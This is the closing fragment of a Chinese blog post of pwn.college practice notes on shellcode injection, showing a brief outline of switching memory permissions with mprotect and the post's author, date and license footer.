  • mprotect(PROT_READ|PROT_EXEC)
    • execute
  • mprotect(PROT_READ|PROT_WRITE)
    • update code
  • etc…

pwn college 刷题记录: Shellcode Injection
http://gls.show/p/78594644/
作者
郭佳明
发布于
2024年3月19日
许可协议